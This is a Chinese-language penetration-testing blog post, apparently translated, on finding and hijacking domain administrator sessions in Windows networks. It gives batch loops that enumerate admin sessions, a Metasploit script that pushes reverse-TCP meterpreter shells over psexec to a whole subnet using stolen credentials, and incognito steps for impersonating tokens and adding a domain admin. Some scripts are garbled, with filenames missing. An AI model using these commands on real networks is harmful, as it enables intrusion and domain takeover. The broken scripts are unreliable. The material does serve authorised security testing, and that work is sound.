2024年3月21日发(作者:)
域渗透技巧介绍
域管理进程转移,使得渗透测试人员能够模拟在互联网上的域名管理员账户进行操作。
尽管如此,在渗透测试开始之前需要确认系统中进程是否运行。在这篇博文中,我讲介绍
5个技巧来帮助大家去做这些事情。
本地检测
查询活跃的域控制器
扫描远程系统上运行的任务
扫描远程系统上NetBIOS信息
PSExec扫描远程系统上的身份验证令牌
获取域名管理员权限
在大多数情况下,本篇文章关注的焦点在于识别运行于域名管理进程的系统。
以下为大部分渗透测试人员获取域名管理权限的过程
确定目标系统和应用程序
识别潜在的漏洞
利用漏洞获得初始访问
提升权限
定位域管理进程或者获取远程系统上的本地身份验证令牌
通过本地管理员的密码Hash,破解密码,使用mimikatz工具抓取密码验证运行在远
程系统上的域名管理进程
迁移域管理进程
创建一个域管理员
整个过程在大多渗透测试社区中都有提到,如果你想了解更多详情,可以通过Google
找到许多指导书,技术文章,演示视频。在本文中,我们注重的是前面提到的定位域管理
进程或者获取远程系统上的本地身份验证令牌。
寻找域名管理进程
下面开始讲解我承诺给大家的5个技巧。
Technique 1:本地检测
检测目标系统总是第一步,以下是一个使用本地命令检测域管理进程的简单方法。
运行以下命令获得域管理的列表:
net group “Domain Admins” /domain
运行以下命令列出进程和进程所有者,账户运行的进程应该第七栏
Tasklist /v
交叉引用的任务列表和域管理员列表
在目标系统中,如果域管理进程一开始就是可用的那就好办了,但有时候,并非我们
想的那么简单。所以,接下来的4个技巧会帮你在远程域系统中找出域管理进程。
Technique 2:查询活跃的域名控制器
据我所知,这个技巧是由一个NetSPI造成的。我们需要一个方法去识别活跃域名管
理进程,或者是关闭IDS进行一些扫描。最终它会出现一个简单查询域控制器,获取活跃
域用户以及交叉引用域管理员列表。美中不足的是,你需要查询所有的域控制器。下面我
会提供一个基本步骤来获取活跃域管理员。
使用LDAP查询从 “Domain Controllers”单元收集域控制器的列表,或者使用一下
命令
net group “Domain Controllers” /domain
重要提示:从单元中获取到的域控制器的列表可信度十分高。但请记住,你应该通过
列举信任域进程并标记这些域控制器。此外你也可以通过DNS查看
Nslookup –type=SRV _ldap._tcp.
使用LDAP查询从”Domain Admins”获取域管理员列表,或者使用下列命令
net group “Domain Admins” /domain
使用查询所有域控制器,获取所有的活跃域。这是一款牛逼的工具,使
用如下命令
–h
交叉引用域管理员列表和活跃会话列表,来确认哪个IP地址有活跃域令牌。在安全
的环境下你可能需要等待域管理员或者含有权限的服务账户,然后在进行活动。下面是一
个快速使用Netsess的Windows命令行脚本,记住是一个域控制器列表
是一个域管理员列表。
FOR /F %i in do @echo [+] Querying DC %i && @netsess -h %i 2>nul >
&&
FOR /F %a in DO @type | @findstr /I %a
我写了一个简单的批处理脚本GDA,它可以使整个过程完全自动化,详情可以看
readme文件。在Mark Beard以及Ivan Dasilva的启发下,我还创建了一个名为GDU的脚
本进行Windows字典攻击。如果你感兴趣,可以通过点击上面的链接下载
Technique 3:扫描远程系统上运行的任务
通常经过前面两个技巧的摧残,大部分情况都能攻下了。然而,我在LaNMSteR53的
博客上看到另外一种聪明的方法。如果你使用共享本地管理员帐户运行域系统,你可以运
行下面的脚本扫描系统中的域管理任务。类似于前面提到的技巧,同样首先需要列举域管
理员。下面的脚本包含,目标系统列表,域管理员列表。
FOR /F %i in DO @echo [+] %i && @tasklist /V /S %i /U user /P
password 2>NUL > &&
FOR /F %n in DO @type | findstr %n > NUL && echo
[!] %n was found running a process on %i && pause
Technique 4:扫描远程系统上NetBIOS信息
一些Windows系统仍然允许用户通过NetBIOS查询已登录用户,同样也可以使用原生
的nbtstat工具进行查询
下面这个Windows命令行脚本将扫描远程系统活跃域管理会话。
for /F %i in do @echo [+] Checking %i && nbtstat -A %i
2>NUL > && FOR /F %n in DO @type |
findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in do @echo [+] Checking %i && nbtscan -f %i
2>NUL > && FOR /F %n in DO @type |
findstr /I %n > NUL && echo [!] %n was found logged into %i
Technique 5:PSExec扫描远程系统上的身份验证令牌
安装Metasploit 3.5或更高版本
将下面脚本复制到一个文本文件并保存到Metasploit目录,命名为psexec_.
#Setup Multi Handler to accept multiple incoming connections use
multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0
setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain.
#Disable playload handler in psexec modules using multi handler set
DisablePayloadHandler true #Run Ruby code to scan desired network range using
some REX API stuff - range walker #note: could also accept ip addresses from a
file by replacing rhosts =”192.168.74.0/24” with rhosts =
nes“c:” require 'rex/socket/range_walker' rhosts =
"192.168.1.0/24" iplist = Rex::Socket::sts do
|rhost| #self allows for execution of commands in msfconsole
_single"set RHOST #{rhost}" #-j-z send the session to the background
_single"exploit -j -z" end
更新smbuser和smbpass参数
输入以下命令运行脚本,psexec_脚本使用所提供的凭据在所有存在于
192.168.1.0/24的系统中盲目安装meterpreter shells
msfconsole –r psexec_
你可以使用Metasploit的token_hunter模块识别域管理令牌
创建一个包含域管理员列表的文件: COMPANYjoe-admin COMPANYbill-admin
COMPANYdavid-admin
加载token_hunter模块
msfconsole msf> load token_hunter
运行token_hunter列出域管理令牌
msf> token_hunt_user -f /tmp/
另外,你可以使用下面的命令来获得当前登录用户的列表
Sessions –s loggedin
What Now?
如果你已经有一个meterpreter会话,你可以用进入隐身模式来冒充域管理员或者添
加一个新的管理员。
在meterpreter会话中加载隐身模式
load incongnito
尝试添加一个域管理员:
add_user -h
add_group ""Domain Admins"" -h
感谢您的阅读,祝您生活愉快。


发布评论